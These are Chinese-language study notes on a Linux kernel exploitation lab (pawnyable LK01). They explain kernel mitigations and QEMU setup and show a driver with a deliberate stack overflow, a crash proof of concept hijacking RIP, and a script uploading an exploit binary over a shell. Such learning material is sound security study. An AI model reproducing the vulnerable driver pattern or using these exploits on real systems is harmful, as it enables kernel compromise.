摘抄自https://pawnyable.cafe/linux-kernel/introduction/security.html

保护措施

SMEP(Supervisor Mode Execution Prevention)

它禁止在执行内核空间代码时突然执行用户空间代码,硬件安全机制

/*可查看系统的保护信息,其中的flag字段显示*/
cat /proc/cpuinfo

SMAP(Supervisor Mode Access Prevention)

如果启用了 SMAP,则用户空间(ROP 链)中的数据 mmapped 在内核空间中不可见,因此堆栈枢轴的 ret 指令会触发内核崩溃,硬件安全机制

KASLR/FGKASLR

它可以随机化 Linux 内核和设备驱动程序代码数据区域的地址。一旦内核加载,它就不会移动,因此 KASLR 在启动时只工作一次。

自 2020 年初以来,出现了一种名为 FGKASLR(功能粒度 KASLR)的更强大的 KASLR。 截至 2022 年,它似乎默认处于禁用状态,但这是一种为 Linux 内核中的每个函数随机化地址的技术。 即使 Linux 内核中函数的地址可以泄漏,也不会确定基址。但是,FGKASLR 不会随机化数据段等,因此如果数据的地址可以泄露,则可以获得基址。 但是,无法从基址确定特定函数的地址,但可以将其用于稍后出现的特殊攻击向量。

请注意,地址在内核空间中是通用的。 即使一个设备驱动程序由于 KASLR 而无法被利用,如果另一个驱动程序泄漏了内核地址,它也可能被利用,因为该地址是通用的。

/*可以使用内核启动参数禁用 KASLR*/
-append "... nokaslr ..."

KPTI(Kernel Page-Table Isolation)

2018 年,在 Intel 等 CPU 上发现了一种名为 Meltdown 的侧信道攻击。 虽然没有解释这个漏洞,但它是一个严重的漏洞,允许用户以用户权限读取内核空间中的内存,并且有可能绕过 KASLR。 近年来,Linux 内核启用了一种称为 KPTI(内核页表隔离)或 KAISER 的旧名称机制,作为对 Meltdown 的对策。

-append "... pti=on ..."

KADR (Kernel Address Display Restriction)

在 Linux 内核中,您可以从 /proc/kallsyms 读取函数的名称和地址信息。 此外,一些设备驱动程序使用 printk 函数将各种调试信息输出到日志中,用户可以通过 dmesg 命令查看这些信息。这样,Linux 就有一种机制可以防止内核空间中的函数、数据和堆等地址信息泄露。 我认为没有正式的名称,但它在参考资料中似乎被称为 KADR (Kernel Address Display Restriction),所以我也将在这个网站上使用这个名称。

此功能可以通过 的值来 /proc/sys/kernel/kptr_restrict 更改。 如果 kptr_restrict 为 0,则对地址的显示没有限制。 如果 kptr_restrict 为 1,则向具有CAP_SYSLOG权限的用户显示地址。 如果 kptr_restrict 为 2,则隐藏内核地址,即使用户处于权限级别也是如此。

传输exploit

本地制作与传输

#!/bin/sh
gcc exploit.c -o exploit -static
mv exploit root
cd root; find . -print0 | cpio -o --null --format=newc > ../debugfs.cpio
cd ../

qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
-no-reboot \
-cpu qemu64 \
-gdb tcp::12345 \
-smp 1 \
-monitor /dev/null \
-initrd debugfs.cpio \
-net nic,model=virtio \
-net user

关于musl-gcc

可以减少文件的尺寸

root@L:/home/l/kernelpwn/LK01/qemu# gcc exploit.c -o exploit -static
root@L:/home/l/kernelpwn/LK01/qemu# ls -al
total 12292
drwxr-xr-x 3 l docker 4096 Aug 29 13:42 .
drwxr-xr-x 5 l docker 4096 Aug 29 13:41 ..
-rw------- 1 root root 232 Aug 27 01:04 .gdb_history
-rw-r--r-- 1 l docker 4720640 Oct 27 2021 bzImage
-rw-r--r-- 1 root root 2911744 Aug 29 13:19 debugfs.cpio
-rwxr-xr-x 1 root root 900352 Aug 29 13:42 exploit
-rw-r--r-- 1 root root 71 Aug 29 13:18 exploit.c
drwxr-xr-x 17 root root 4096 Aug 29 13:19 root
-rw-r--r-- 1 l docker 2011136 Oct 27 2021 rootfs.cpio
-rw-r--r-- 1 root root 2011136 Aug 27 00:20 rootfs_updated.cpio
-rwxr-xr-x 1 l docker 352 Aug 29 00:28 run.sh
-rw-r--r-- 1 root root 451 Aug 29 13:19 transfer.sh

-------------------------------------------------------------------------------------------


root@L:/home/l/kernelpwn/LK01/qemu# musl-gcc ./exploit.c -o exploit -static
root@L:/home/l/kernelpwn/LK01/qemu# ls -al
total 11440
drwxr-xr-x 3 l docker 4096 Aug 29 13:43 .
drwxr-xr-x 5 l docker 4096 Aug 29 13:41 ..
-rw------- 1 root root 232 Aug 27 01:04 .gdb_history
-rw-r--r-- 1 l docker 4720640 Oct 27 2021 bzImage
-rw-r--r-- 1 root root 2911744 Aug 29 13:19 debugfs.cpio
-rwxr-xr-x 1 root root 24728 Aug 29 13:43 exploit
-rw-r--r-- 1 root root 71 Aug 29 13:18 exploit.c
drwxr-xr-x 17 root root 4096 Aug 29 13:19 root
-rw-r--r-- 1 l docker 2011136 Oct 27 2021 rootfs.cpio
-rw-r--r-- 1 root root 2011136 Aug 27 00:20 rootfs_updated.cpio
-rwxr-xr-x 1 l docker 352 Aug 29 00:28 run.sh
-rw-r--r-- 1 root root 451 Aug 29 13:19 transfer.sh

远程连接

利用base64,和启动脚本进行远程转发,主要用来转发base64编码之后的二进制文件

from ptrlib import *
import time
import base64
import os

def run(cmd):
sock.sendlineafter("$ ", cmd)
sock.recvline()

with open("./root/exploit", "rb") as f:
payload = bytes2str(base64.b64encode(f.read()))

#sock = Socket("HOST", PORT) # remote
sock = Process("./run.sh")

run('cd /tmp')

logger.info("Uploading...")
for i in range(0, len(payload), 512):
print(f"Uploading... {i:x} / {len(payload):x}")
run('echo "{}" >> b64exp'.format(payload[i:i+512]))
run('base64 -d b64exp > exploit')
run('rm b64exp')
run('chmod +x exploit')

sock.interactive()
--------------------------结果----------------
[ptrlib]$ /tmp # [ptrlib]$ ls
ls[ptrlib]$
[ptrlib]$ exploit [ptrlib]$ [0;0mmessages [ptrlib]$ reso[ptrlib]$ lv[ptrlib]$ .c[ptrlib]$ onf[ptrlib]$
[ptrlib]$ /tmp # [ptrli./exploit
./exp[ptrlib]$ l[ptrlib]$ o[ptrlib]$ it[ptrlib]$
[ptrlib]$ Hello, World!
不知道为什么格式那么乱

关于内核初始化

以LK01为例子

主要是在/etc文件中

inittab

涉及到文件系统的挂载

主要是启动时和关闭时的行为

# /etc/inittab
#
# Copyright (C) 2001 Erik Andersen <andersen@codepoet.org>
#
# Note: BusyBox init doesn't support runlevels. The runlevels field is
# completely ignored by BusyBox init. If you want runlevels, use
# sysvinit.
#
# Format for each entry: <id>:<runlevels>:<action>:<process>
#
# id == tty to run on, or empty for /dev/console
# runlevels == ignored
# action == one of sysinit, respawn, askfirst, wait, and once
# process == program to run

# Startup the system
::sysinit:/bin/mount -t proc proc /proc
::sysinit:/bin/mount -o remount,rw /
::sysinit:/bin/mkdir -p /dev/pts /dev/shm
::sysinit:/bin/mount -a
::sysinit:/sbin/swapon -a
null::sysinit:/bin/ln -sf /proc/self/fd /dev/fd
null::sysinit:/bin/ln -sf /proc/self/fd/0 /dev/stdin
null::sysinit:/bin/ln -sf /proc/self/fd/1 /dev/stdout
null::sysinit:/bin/ln -sf /proc/self/fd/2 /dev/stderr
::sysinit:/bin/hostname -F /etc/hostname
# now run any rc scripts
::sysinit:/etc/init.d/rcS

# Put a getty on the serial port
#ttyS0::respawn:/sbin/getty -L ttyS0 115200 vt100 # GENERIC_SERIAL
tty1::respawn:/sbin/getty -L tty1 0 vt100 # QEMU graphical window

# Stuff to do for the 3-finger salute
#::ctrlaltdel:/sbin/reboot

# Stuff to do before rebooting
::shutdown:/etc/init.d/rcK
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r

/etc/init.d/rcS

目前已知包括了驱动的加载以及shell的加载

#!/bin/sh

##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
#echo 2 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict

##
## Install driver
##
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
setsid cttyhack setuidgid 0 sh

##
## Cleanup
##
umount /proc
poweroff -d 0 -f
/*本题考查此模块*/
insmod /root/vuln.ko
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0

驱动模块源码分析

设备注册和设备清除

指定了模块加载以及退出时所要执行的函数

/*
rcS中仅仅创建了一个节点真正关联是通过此来的
*/
module_init(module_initialize);
module_exit(module_cleanup);

本次实验中的函数为:可通过DEVICE_NAME来传递

#define DEVICE_NAME "holstein"
static struct file_operations module_fops =
{
.owner = THIS_MODULE,
.read = module_read,
.write = module_write,
.open = module_open,
.release = module_close,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) {
printk(KERN_WARNING "Failed to register device\n");
return -EBUSY;
}

cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;

if (cdev_add(&c_dev, dev_id, 1)) {
printk(KERN_WARNING "Failed to add cdev\n");
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}

static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}

open&read&write&close

具体操作函数即是漏洞存在点,很容易发现溢出漏洞,但是利用还需学习

发现了栈溢出漏洞,但是open,close好像也有漏洞,因此需要深入学习

#define BUFFER_SIZE 0x400

char *g_buf = NULL;

static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");

g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}

return 0;
}

static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_read called\n");

memcpy(kbuf, g_buf, BUFFER_SIZE);
if (_copy_to_user(buf, kbuf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}

return count;
}

static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
char kbuf[BUFFER_SIZE] = { 0 };

printk(KERN_INFO "module_write called\n");

if (_copy_from_user(kbuf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
memcpy(g_buf, kbuf, BUFFER_SIZE);

return count;
}

static int module_close(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_close called\n");
kfree(g_buf);
return 0;
}

编写脚本以及利用

尝试栈溢出,观察到内核崩溃,程序退出

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>

void fatal(const char *msg) {
perror(msg);
exit(1);
}

int main() {
int fd = open("/dev/holstein", O_RDWR);
if (fd == -1) fatal("open(\"/dev/holstein\")");

char buf[0x800];
memset(buf, 'A', 0x800);
write(fd, buf, 0x800);

close(fd);
return 0;
}

image-20240829161338051

主要崩溃原因为:溢出到了保护页,尝试减少溢出

BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))                                                                                    kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI    
可惜没有改变RIP的取值

减少溢出到0x420,可以看到rip被劫持

/ # ./exploit
general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 163 Comm: exploit Tainted: G O 5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc90000443eb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff888003141900 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc90000443ea8 RDI: ffff8880032a9400
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000420
R13: 0000000000000000 R14: 00007ffee0caf4e0 R15: ffffc90000443ef8
FS: 00000000004cd3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000004b4b60 CR3: 00000000032aa000 CR4: 00000000000006f0
Call Trace:
? ksys_write+0x53/0xd0
? __x64_sys_write+0x15/0x20
? do_syscall_64+0x38/0x50
? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Modules linked in: vuln(O)
---[ end trace 61f5f4af6b064506 ]---
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc90000443eb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff888003141900 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc90000443ea8 RDI: ffff8880032a9400
RBP: 4141414141414141 R08: ffffffff81ea4608 R09: 0000000000004ffb
R10: 00000000fffff000 R11: 3fffffffffffffff R12: 0000000000000420
R13: 0000000000000000 R14: 00007ffee0caf4e0 R15: ffffc90000443ef8
FS: 00000000004cd3c0(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00000000004b4b60 CR3: 00000000032aa000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled